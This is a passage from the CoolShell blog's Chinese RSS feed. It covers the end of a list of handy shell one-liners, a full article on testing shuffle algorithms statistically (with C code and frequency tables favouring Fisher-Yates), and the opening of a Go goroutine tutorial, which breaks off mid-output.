/>\n场景：忘记ascii码表的时候还需要google么?尤其在天朝网络如此“顺畅”的情况下，就更麻烦在GWF多应用一次规则了，直接用本地的<code>man ascii</code>吧。</li>\n</ul>\n<ul>\n<li><strong><code>ctrl-x e</code></strong><br />\n快速启动你的默认编辑器（由变量$EDITOR设置）。</li>\n</ul>\n<ul>\n<li><strong><code>netstat –tlnp</code></strong><br />\n列出本机进程监听的端口号。（陈皓注：netstat -anop 可以显示侦听在这个端口号的进程）</li>\n</ul>\n<ul>\n<li><strong><code>tail -f /path/to/file.log | sed '/^Finished: SUCCESS$/ q'</code></strong><br />\n当file.log里出现Finished: SUCCESS时候就退出tail，这个命令用于实时监控并过滤log是否出现了某条记录。</li>\n</ul>\n<ul>\n<li><strong><code>ssh user@server bash &lt; /path/to/local/script.sh</code></strong><br />\n在远程机器上运行一段脚本。这条命令最大的好处就是不用把脚本拷到远程机器上。</li>\n</ul>\n<ul>\n<li><strong><code>ssh user@host cat /path/to/remotefile | diff /path/to/localfile -</code></strong><br />\n比较一个远程文件和一个本地文件</li>\n</ul>\n<ul>\n<li>\n<div title=\"Click to select this command\">\n<div><strong><code>net rpc shutdown -I ipAddressOfWindowsPC -U username%password</code></strong><br />\n远程关闭一台Windows的机器</div>\n</div>\n</li>\n</ul>\n<ul>\n<li><strong><code>screen -d -m -S some_name ping my_router</code></strong><br />\n后台运行一段不终止的程序，并可以随时查看它的状态。<code>-d -m</code>参数启动“分离”模式，<code>-S</code>指定了一个session的标识。可以通过<code>-R</code>命令来重新“挂载”一个标识的session。更多细节请参考screen用法 <code>man screen</code>。</li>\n</ul>\n<ul>\n<li><strong><code>wget --random-wait -r -p -e robots=off -U mozilla http://www.example.com</code></strong><br />\n下载整个www.example.com网站。（注：别太过分，大部分网站都有防爬功能了：））</li>\n</ul>\n<ul>\n<li><strong><code>curl ifconfig.me</code></strong><br />\n当你的机器在内网的时候，可以通过这个命令查看外网的IP。</li>\n</ul>\n<ul>\n<li><strong><code>convert input.png -gravity NorthWest -background transparent -extent 720x200  output.png</code></strong><br />\n改一下图片的大小尺寸</li>\n</ul>\n<ul>\n<li><strong><code>lsof –i</code></strong><br />\n实时查看本机网络服务的活动状态。</li>\n</ul>\n<ul>\n<li><strong><code>vim scp://username@host//path/to/somefile</code></strong><br />\nvim一个远程文件</li>\n</ul>\n<ul>\n<li><strong><code>python -m SimpleHTTPServer</code></strong><br />\n一句话实现一个HTTP服务，把当前目录设为HTTP服务目录，可以通过<code>http://localhost:8000</code>访问 这也许是这个星球上最简单的HTTP服务器的实现了。</li>\n</ul>\n<ul>\n<li><strong><code>history | awk '{CMD[$2]++;count++;} END { for (a in CMD )print CMD[a] \" \" CMD[a]/count*100 \"% \" a }' | grep -v \"./\" | column -c3 -s \" \" -t | sort -nr | nl | head -n10</code></strong><br />\n(陈皓注：有点复杂了，history|awk &#8216;{print $2}&#8217;|awk &#8216;BEGIN {FS=&#8221;|&#8221;} {print $1}&#8217;|sort|uniq -c|sort -rn|head -10)<br />\n这行脚本能输出你最常用的十条命令，由此甚至可以洞察你是一个什么类型的程序员。</li>\n</ul>\n<ul>\n<li>\n<div title=\"Click to select this command\">\n<div><strong><code>tr -c \"[:digit:]\" \" \" &lt; /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR=\"1;32\" grep --color \"[^ ]\"</code></strong><br />\n想看看Marix的屏幕效果吗？（不是很像，但也很Cool!）</div>\n</div>\n</li>\n</ul>\n<p>看不懂行代码？没关系，系统的学习一下*nix shell脚本吧，力荐<a href=\"http://www.ituring.com.cn/book/980\">《Linux命令行与Shell脚本编程大全》</a>。</p>\n<h4>参考文献：</h4>\n<ul>\n<li><a href=\"http://en.wikipedia.org/wiki/Unix_shell#Shell_categories\">Unix Shell Wiki</a></li>\n<li><a href=\"https://github.com\">Github language ranking</a></li>\n<li><a href=\"http://www.softpanorama.org/People/Shell_giants/introduction.shtml\">An introduction of Unix Shell history</a></li>\n<li><a href=\"http://www.tiobe.com/index.php/content/paperinfo/tpci/index.html\" target=\"_blank\" rel=\"noopener\">Tiobe Software</a></li>\n<li><a href=\"http://www.commandlinefu.com/\" target=\"_blank\" rel=\"noopener\">http://www.commandlinefu.com/</a></li>\n</ul>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/02/awk-150x150.jpg\" alt=\"AWK 简明教程\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9070.html\" class=\"wp_rp_title\">AWK 简明教程</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8619.html\">你可能不知道的Shell</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8619.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>149</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>如何测试洗牌程序</title>\n\t\t<link>https://coolshell.cn/articles/8593.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8593.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Tue, 20 Nov 2012 00:22:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Algorithm]]></category>\n\t\t<category><![CDATA[test]]></category>\n\t\t<category><![CDATA[Unit Test]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8593</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我希望本文有助于你了解测试软件是一件很重要也是一件不简单的事。 我们有一个程序，叫ShuffleArray()，是用来洗牌的，我见过N多千变万化的Shuffle...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8593.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8593.html\">如何测试洗牌程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我希望本文有助于你了解测试软件是一件很重要也是一件不简单的事。</p>\n<p>我们有一个程序，叫ShuffleArray()，是用来洗牌的，我见过N多千变万化的ShuffleArray()，但是似乎从来没人去想过怎么去测试这个算法。所以，我在面试中我经常会问应聘者如何测试ShuffleArray()，没想到这个问题居然难倒了很多有多年编程经验的人。对于这类的问题，其实，测试程序可能比算法更难写，代码更多。而这个问题正好可以加强一下我在《<a title=\"我们需要专职的QA吗？\" href=\"https://coolshell.cn/articles/6994.html\" target=\"_blank\">我们需要专职的QA吗？</a>》中我所推崇的——开发人员更适合做测试的观点。</p>\n<p>我们先来看几个算法（<strong>第一个用递归二分随机抽牌，第二个比较偷机取巧，第三个比较通俗易懂</strong>）</p>\n<h4>递归二分随机抽牌</h4>\n<p>有一次是有一个朋友做了一个网页版的扑克游戏，他用到的算法就是想模拟平时我们玩牌时用手洗牌的方式，是用递归+二分法，我说这个程序恐怕不对吧。他觉得挺对的，说测试了没有问题。他的程序大致如下（原来的是用Javascript写的，我在这里凭记忆用C复现一下）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n//递归二分方法\nconst size_t MAXLEN = 10;\nconst char TestArr[MAXLEN] = {&#039;A&#039;,&#039;B&#039;,&#039;C&#039;,&#039;D&#039;,&#039;E&#039;,&#039;F&#039;,&#039;G&#039;,&#039;H&#039;,&#039;I&#039;,&#039;J&#039;};\n\nstatic char RecurArr[MAXLEN]={0};\nstatic int cnt = 0;\nvoid ShuffleArray_Recursive_Tmp(char* arr, int len)\n{\n    if(cnt &gt; MAXLEN || len &lt;=0){\n        return;\n    }\n\n    int pos = rand() % len;\n    RecurArr[cnt++] = arr[pos];\n    if (len==1) return;\n    ShuffleArray_Recursive_Tmp(arr, pos);\n    ShuffleArray_Recursive_Tmp(arr+pos+1, len-pos-1);\n}\n\nvoid ShuffleArray_Recursive(char* arr, int len)\n{\n    memset(RecurArr, 0, sizeof(RecurArr));\n    cnt=0;\n    ShuffleArray_Recursive_Tmp(arr, len);\n    memcpy(arr, RecurArr, len);\n}\n\nvoid main()\n{\n    char temp[MAXLEN]={0};\n    for(int i=0; i&lt;5; i++) {\n        strncpy(temp, TestArr, MAXLEN);\n        ShuffleArray_Recursive((char*)temp, MAXLEN);\n    }\n}\n</pre>\n<p><span id=\"more-8593\"></span></p>\n<p>随便测试几次，还真像那么回事：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">第一次：D C A B H E G F I J\n第二次：A G D B C E F J H I\n第三次：A B H F C E D G I J\n第四次：J I F B A D C E H G\n第五次：F B A D C E H G I J</pre>\n<h4>快排Hack法</h4>\n<p>让我们再看一个hack 快排的洗牌程序（只看算法，省去别的代码）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint compare( const void *a, const void *b )\n{\n    return rand()%3-1;\n}\n\nvoid ShuffleArray_Sort(char* arr, int len)\n{\n    qsort( (void *)arr, (size_t)len, sizeof(char), compare );\n}\n</pre>\n<p>运行个几次，感觉得还像那么回事：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">第一次：H C D J F E A G B I\n第二次：B F J D C E I H G A\n第三次：C G D E J F B I A H\n第四次：H C B J D F G E I A\n第五次：D B C F E A I H G J</pre>\n<p>看不出有什么破绽。</p>\n<h4>大多数人的实现</h4>\n<p>下面这个算法是大多数人的实现，就是for循环一次，然后随机交换两个数</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void ShuffleArray_General(char* arr, int len)\n{\n    const int suff_time = len;\n    for(int idx=0; idx&lt;suff_time; idx++) {\n        int i = rand() % len;\n        int j = rand() % len;\n        char temp = arr[i];\n        arr[i] = arr[j];\n        arr[j] = temp;\n    }\n}</pre>\n<p>跑起来也还不错，洗得挺好的。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">第一次：G F C D A J B I H E\n第二次：D G J F E I A H C B\n第三次：C J E F A D G B H I\n第四次：H D C F A E B J I G\n第五次：E A J F B I H G D C</pre>\n<p>但是上述三个算法哪个的效果更好？好像都是对的。<strong>一般的QA或是程序员很有可能就这样把这个功能Pass了</strong>。但是事情并没有那么简单……</p>\n<h4>如何测试</h4>\n<p>在做测试之前，我们还需要了解一下一个基本知识——<strong>PC机上是做不出真随机数的，只能做出伪随机数。真随机数需要硬件支持</strong>。但是不是这样我们就无法测试了呢，不是的。我们依然可以测试。</p>\n<p>我们知道，洗牌洗得好不好，主要是看是不是够随机。那么如何测试随机性呢？</p>\n<p>试想，我们有个随机函数rand()返回1到10中的一个数，如果够随机的话，每个数返回的概率都应该是一样的，也就是说每个数都应该有10分之1的概率会被返回。</p>\n<p>一到概率问题，我们只有一个方法来做测试，那就是用统计的方式。也就是说，你调用rand()函数100次，其中，每个数出现的次数大约都在10次左右。（注意：我用了左右，这说明概率并不是很准确的）不应该有一个数出现了15次以上，另一个在5次以下，要是这样的话，这个函数就是错的。</p>\n<p>举一反三，测试洗牌程序也一样，需要通过概率的方式来做统计，是不是每张牌出现在第一个位置的次数都是差不多的。</p>\n<p>于是，这样一来上面的程序就可以很容易做测试了。</p>\n<p>下面是测试结果（<strong>测试样本1000次——列是每个位置出现的次数，行是各个字符的统计</strong>，出现概率应该是1/10，也就是100次）：</p>\n<p><strong>递归随机抽牌的方法</strong></p>\n<p>很明显，这个洗牌程序太有问题。算法是错的！</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">     1    2    3    4    5    6    7    8    9    10\n----------------------------------------------------\nA | 101  283  317  208   65   23    3    0    0    0\nB | 101  191  273  239  127   54   12    2    1    0\nC | 103  167  141  204  229  115   32    7    2    0\nD | 103  103   87  128  242  195  112   26    3    1\nE | 104   83   62   67  116  222  228   93   22    3\nF |  91   58   34   60   69  141  234  241   65    7\nG |  93   43   35   19   44  102  174  274  185   31\nH |  94   28   27   27   46   68   94  173  310  133\nI | 119   27   11   30   28   49   64   96  262  314\nJ |  91   17   13   18   34   31   47   88  150  511</pre>\n<p><strong>快排Hack法</strong></p>\n<p>看看对角线（从左上到右下）上的数据，很离谱！所以，这个算法也是错的。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |   74  108  123  102   93  198   40   37   52  173\nB |  261  170  114   70   49   28   37   76  116   79\nC |  112  164  168  117   71   37   62   96  116   57\nD |   93   91  119  221  103   66   91   98   78   40\nE |   62   60   82   90  290  112   95   98   71   40\nF |   46   60   63   76   81  318   56   42   70  188\nG |   72   57   68   77   83   39  400  105   55   44\nH |   99   79   70   73   87   34  124  317   78   39\nI |  127  112  102   90   81   24   57   83  248   76\nJ |   54   99   91   84   62  144   38   48  116  264</pre>\n<p><strong>大多数人的算法</strong></p>\n<p>我们再来看看大多数人的算法。还是对角线上的数据有问题，所以，还是错的。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |  178   98   92   82  101   85   79  105   87   93\nB |   88  205   90   94   77   84   93   86  106   77\nC |   93   99  185   96   83   87   98   88   82   89\nD |  105   85   89  190   92   94  105   73   80   87\nE |   97   74   85   88  204   91   80   90  100   91\nF |   85   84   90   91   96  178   90   91  105   90\nG |   81   84   84  104  102  105  197   75   79   89\nH |   84   99  107   86   82   78   92  205   79   88\nI |  102   72   88   94   87  103   94   92  187   81\nJ |   87  100   90   75   76   95   72   95   95  215</pre>\n<h4>正确的算法</h4>\n<p>下面，我们来看看性能高且正确的算法—— <a href=\"http://en.wikipedia.org/wiki/Fisher%E2%80%93Yates_shuffle\" target=\"_blank\">Fisher_Yates算法</a></p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void ShuffleArray_Fisher_Yates(char* arr, int len)\n{\n    int i = len, j;\n    char temp;\n\n    if ( i == 0 ) return;\n    while ( --i ) {\n        j = rand() % (i+1);\n        temp = arr[i];\n        arr[i] = arr[j];\n        arr[j] = temp;\n    }\n}</pre>\n<p>这个算法不难理解，看看测试效果（效果明显比前面的要好）：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">      1    2    3    4    5    6    7    8    9    10\n-----------------------------------------------------\nA |  107   98   83  115   89  103  105   99   94  107\nB |   91  106   90  102   88  100  102   97  112  112\nC |  100  107   99  108  101   99   86   99  101  100\nD |   96   85  108  101  117  103  102   96  108   84\nE |  106   89  102   86   88  107  114  109  100   99\nF |  109   96   87   94   98  102  109  101   92  102\nG |   94   95  119  110   97  112   89  101   89   94\nH |   93  102  102  103  100   89  107  105  101   98\nI |   99  110  111  101  102   79  103   89  104  102\nJ |  105  112   99   99  108  106   95   95   99   82</pre>\n<p>但是我们可以看到还是不完美。因为我们使用的rand()是伪随机数，不过已经很不错的。最大的误差在20%左右。</p>\n<p>我们再来看看洗牌100万次的统计值，你会看到误差在6%以内了。这个对于伪随机数生成的程序已经很不错了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">      1       2     3       4      5      6      7      8     9      10\n-------------------------------------------------------------------------\nA | 100095  99939 100451  99647  99321 100189 100284  99565 100525  99984\nB |  99659 100394  99699 100436  99989 100401  99502 100125 100082  99713\nC |  99938  99978 100384 100413 100045  99866  99945 100025  99388 100018\nD |  99972  99954  99751 100112 100503  99461  99932  99881 100223 100211\nE | 100041 100086  99966  99441 100401  99958  99997 100159  99884 100067\nF | 100491 100294 100164 100321  99902  99819  99449 100130  99623  99807\nG |  99822  99636  99924 100172  99738 100567 100427  99871 100125  99718\nH |  99445 100328  99720  99922 100075  99804 100127  99851 100526 100202\nI | 100269 100001  99542  99835 100070  99894 100229 100181  99718 100261\nJ | 100268  99390 100399  99701  99956 100041 100108 100212  99906 100019</pre>\n<h4>如何写测试案例</h4>\n<p>测试程序其实很容易写了。就是，设置一个样本大小，做一下统计，然后计算一下误差值是否在可以容忍的范围内。比如：</p>\n<ul>\n<li>样本：100万次</li>\n<li>最大误差：10%以内</li>\n<li>平均误差：5%以内 （或者：90%以上的误差要小于5%）</li>\n</ul>\n<h4>注意</h4>\n<p>其实，以上的测试只是测试了牌在各个位置的概率。这个还不足够好。因为还可能会现在有Patten的情况。如：每次洗牌出来的都是一个循环顺序数组。这完全可以满足我上面的测试条件。但是那明显是错的。<strong>所以，还需要统计每种排列的出现的次数</strong>，看看是不是均匀。但是，<strong>如果这些排列又是以某种规律出现的呢</strong>？看来，这没完没了了。</p>\n<p>测试的确是一个很重要，并不简单的事情。谢谢所有参与讨论的人。</p>\n<h4>附录</h4>\n<p>之前忘贴了一个模拟我们玩牌洗牌的算法，现补充如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">void ShuffleArray_Manual(char* arr, int len)\n{\n    int mid = len / 2;\n\n    for (int n=0; n&lt;5; n++){\n\n        //两手洗牌\n        for (int i=1; i&lt;mid; i+=2){\n            char tmp = arr[i];\n            arr[i] = arr[mid+i];\n            arr[mid+i] = tmp;\n        }\n\n        //随机切牌\n        char *buf = (char*)malloc(sizeof(char)*len);\n\n        for(int j=0; j&lt;5; j++) {\n            int start= rand() % (len-1) + 1;\n            int numCards= rand()% (len/2) + 1;\n\n            if (start + numCards &gt; len ){\n                numCards = len - start;\n            }\n\n            memset(buf, 0, len);\n            strncpy(buf, arr, start);\n            strncpy(arr, arr+start, numCards);\n            strncpy(arr+numCards, buf, start);\n        }\n        free(buf);\n\n    }\n}</pre>\n<p>我们来看看测试结果：（10万次）效果更好一些，误差在2%以内了。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">      1       2     3       4      5      6      7      8     9      10\n-------------------------------------------------------------------------\nA |  10002   9998   9924  10006  10048  10200   9939   9812  10080   9991\nB |   9939   9962  10118  10007   9974  10037  10149  10052   9761  10001\nC |  10054  10100  10050   9961   9856   9996   9853  10016   9928  10186\nD |   9851   9939   9852  10076  10208  10003   9974  10052   9992  10053\nE |  10009   9915  10050  10037   9923  10094  10078  10059   9880   9955\nF |  10151  10115  10113   9919   9844   9896   9891   9904  10225   9942\nG |  10001  10116  10097  10030  10061   9993   9891   9922   9889  10000\nH |  10075  10033   9866   9857  10170   9854  10062  10078  10056   9949\nI |  10045   9864   9879  10066   9930   9919  10085  10104  10095  10013\nJ |   9873   9958  10051  10041   9986  10008  10078  10001  10094   9910</pre>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/PerfTest-150x150.png\" alt=\"性能测试应该怎么做？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17381.html\" class=\"wp_rp_title\">性能测试应该怎么做？</a></li><li ><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/08/cuckoo-150x150.jpg\" alt=\"Cuckoo Filter：设计与实现\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17225.html\" class=\"wp_rp_title\">Cuckoo Filter：设计与实现</a></li><li ><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Leetcode 编程训练\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12052.html\" class=\"wp_rp_title\">Leetcode 编程训练</a></li><li ><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/puzzle-150x150.png\" alt=\"谜题的答案和活动的心得体会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11847.html\" class=\"wp_rp_title\">谜题的答案和活动的心得体会</a></li><li ><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg\" alt=\"【活动】解迷题送礼物\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11832.html\" class=\"wp_rp_title\">【活动】解迷题送礼物</a></li><li ><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg\" alt=\"二维码的生成细节和原理\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/10590.html\" class=\"wp_rp_title\">二维码的生成细节和原理</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8593.html\">如何测试洗牌程序</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8593.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>142</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Go 语言简介（下）— 特性</title>\n\t\t<link>https://coolshell.cn/articles/8489.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8489.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 07 Nov 2012 00:17:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Go 语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编程语言]]></category>\n\t\t<category><![CDATA[Go]]></category>\n\t\t<category><![CDATA[golang]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8489</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>希望你看到这篇文章的时候还是在公交车和地铁上正在上下班的时间，我希望我的这篇文章可以让你利用这段时间了解一门语言。当然，希望你不会因为看我的文章而错过站。呵呵。...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8489.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8489.html\">Go 语言简介（下）— 特性</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>希望你看到这篇文章的时候还是在公交车和地铁上正在上下班的时间，我希望我的这篇文章可以让你利用这段时间了解一门语言。当然，希望你不会因为看我的文章而错过站。呵呵。</p>\n<p>如果你还不了解Go语言的语法，还请你移步先看一下上篇——《<strong><a title=\"Go语言简介（上）：语法\" href=\"https://coolshell.cn/articles/8460.html\" target=\"_blank\" rel=\"noopener noreferrer\">Go语言简介（上）：语法</a></strong>》</p>\n<p><img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2012/11/google-go-language.jpg\" alt=\"\" title=\"google-go-language\" width=\"450\" height=\"272\" class=\"aligncenter size-full wp-image-8531\" srcset=\"https://coolshell.cn/wp-content/uploads/2012/11/google-go-language.jpg 450w, https://coolshell.cn/wp-content/uploads/2012/11/google-go-language-300x181.jpg 300w, https://coolshell.cn/wp-content/uploads/2012/11/google-go-language-447x270.jpg 447w\" sizes=\"(max-width: 450px) 100vw, 450px\" /></p>\n<h4>goroutine</h4>\n<p>GoRoutine主要是使用go关键字来调用函数，你还可以使用匿名函数，如下所示：</p>\n<p><span id=\"more-8489\"></span></p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\" data-enlighter-highlight=\"9,11\">package main\nimport &quot;fmt&quot;\n\nfunc f(msg string) {\n    fmt.Println(msg)\n}\n\nfunc main(){\n    go f(&quot;goroutine&quot;)\n\n    go func(msg string) {\n        fmt.Println(msg)\n    }(&quot;going&quot;)\n}</pre>\n<p>我们再来看一个示例，下面的代码中包括很多内容，包括时间处理，随机数处理，还有goroutine的代码。如果你熟悉C语言，你应该会很容易理解下面的代码。</p>\n<p>你可以简单的把go关键字调用的函数想像成pthread_create。下面的代码使用for循环创建了3个线程，每个线程使用一个随机的Sleep时间，然后在routine()函数中会输出一些线程执行的时间信息。</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"golang\">\npackage main\n\nimport &quot;fmt&quot;\nimport &quot;time&quot;\nimport &quot;math/rand&quot;\n\nfunc routine(name string, delay time.Duration) {\n\n    t0 := time.Now()\n    fmt.Println(name, &quot; start at &quot;, t0)\n\n    time.Sleep(delay)\n\n    t1 := time.Now()\n    fmt.Println(name, &quot; end at &quot;, t1)\n\n    fmt.Println(name, &quot; lasted &quot;, t1.Sub(t0))\n}\n\nfunc main() {\n\n    //生成随机种子\n    rand.Seed(time.Now().Unix())\n\n    var name string\n    for i:=0; i&lt;3; i++{\n        name = fmt.Sprintf(&quot;go_%02d&quot;, i) //生成ID\n        //生成随机等待时间，从0-4秒\n        go routine(name, time.Duration(rand.Intn(5)) * time.Second)\n    }\n\n    //让主进程停住，不然主进程退了，goroutine也就退了\n    var input string\n    fmt.Scanln(&amp;input)\n    fmt.Println(&quot;done&quot;)\n}\n</pre>\n<p>运行的结果可能是：</p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\">\ngo_00  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_01  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_02  start at  2012-11-04 19:46:35.8974894 +0800 +0800\ngo_01  end at  2012-11-04 